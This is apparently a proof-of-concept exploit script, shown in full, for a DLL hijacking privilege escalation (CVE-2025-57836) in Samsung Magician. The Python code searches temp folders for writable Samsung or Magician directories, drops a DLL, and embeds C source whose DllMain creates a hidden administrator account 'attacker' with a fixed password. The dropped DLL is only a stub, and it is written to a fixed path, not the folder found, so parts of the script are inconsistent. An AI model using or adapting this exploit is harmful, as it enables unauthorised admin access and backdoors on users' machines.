CVE-2025-57836 Samsung Magician DLL劫持权限提升漏洞

# CVE-2025-57836 PoC - Samsung Magician DLL Hijacking Privilege Escalation # Target: Samsung Magician 6.3.0 - 8.3.2 # Attack Vector: Exploit weak temporary folder permissions during installation import os import sys import time import shutil import subprocess import ctypes from pathlib import Path def create_malicious_dll(): """Generate malicious DLL that creates admin user""" dll_code = ''' #include <windows.h> #include <stdlib.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create new admin user: attacker/Attacker@123 system("net user attacker Attacker@123 /add"); system("net localgroup Administrators attacker /add"); // Alternatively, add to RDP users or create backdoor } return TRUE; } ''' # Note: In real attack, compile this to DLL # For demonstration, create placeholder dll_path = Path(os.environ['TEMP']) / 'SamsungTemp' / 'msvcr120.dll' dll_path.parent.mkdir(parents=True, exist_ok=True) with open(dll_path, 'wb') as f: f.write(b'MZ' + b'\x00' * 100) # Minimal DLL stub return str(dll_path) def find_weak_temp_folder(): """Identify Samsung Magician temporary folder with weak permissions""" temp_base = os.environ.get('TEMP', 'C:\\Windows\\Temp') search_patterns = ['Samsung', 'Magician', 'SAMSUNG', 'MAGICIAN'] for root, dirs, files in os.walk(temp_base): for d in dirs: for pattern in search_patterns: if pattern in d: folder_path = Path(root) / d # Check if low-privilege user can write try: test_file = folder_path / '.write_test' test_file.touch() test_file.unlink() return str(folder_path) except: continue return None def exploit(): """Main exploitation routine""" print("[*] CVE-2025-57836 Samsung Magician DLL Hijacking Exploit") print("[*] Searching for vulnerable temporary folder...") target_folder = find_weak_temp_folder() if not target_folder: print("[-] No vulnerable folder found. Ensure Magician installation is running.") return False print(f"[+] Found vulnerable folder: {target_folder}") print("[+] Dropping malicious DLL...") dll_path = create_malicious_dll() print(f"[+] Malicious DLL placed at: {dll_path}") print("[+] Waiting for process to load DLL...") # Wait for installation process to load the DLL time.sleep(30) # Verify privilege escalation result = subprocess.run('net user attacker', capture_output=True, text=True) if 'attacker' in result.stdout: print("[+] SUCCESS: Admin user 'attacker' created!") return True else: print("[-] Exploitation failed or pending") return False if __name__ == '__main__': if not ctypes.windll.shell32.IsUserAnAdmin(): print("[*] Running as low-privilege user - ready to exploit") exploit()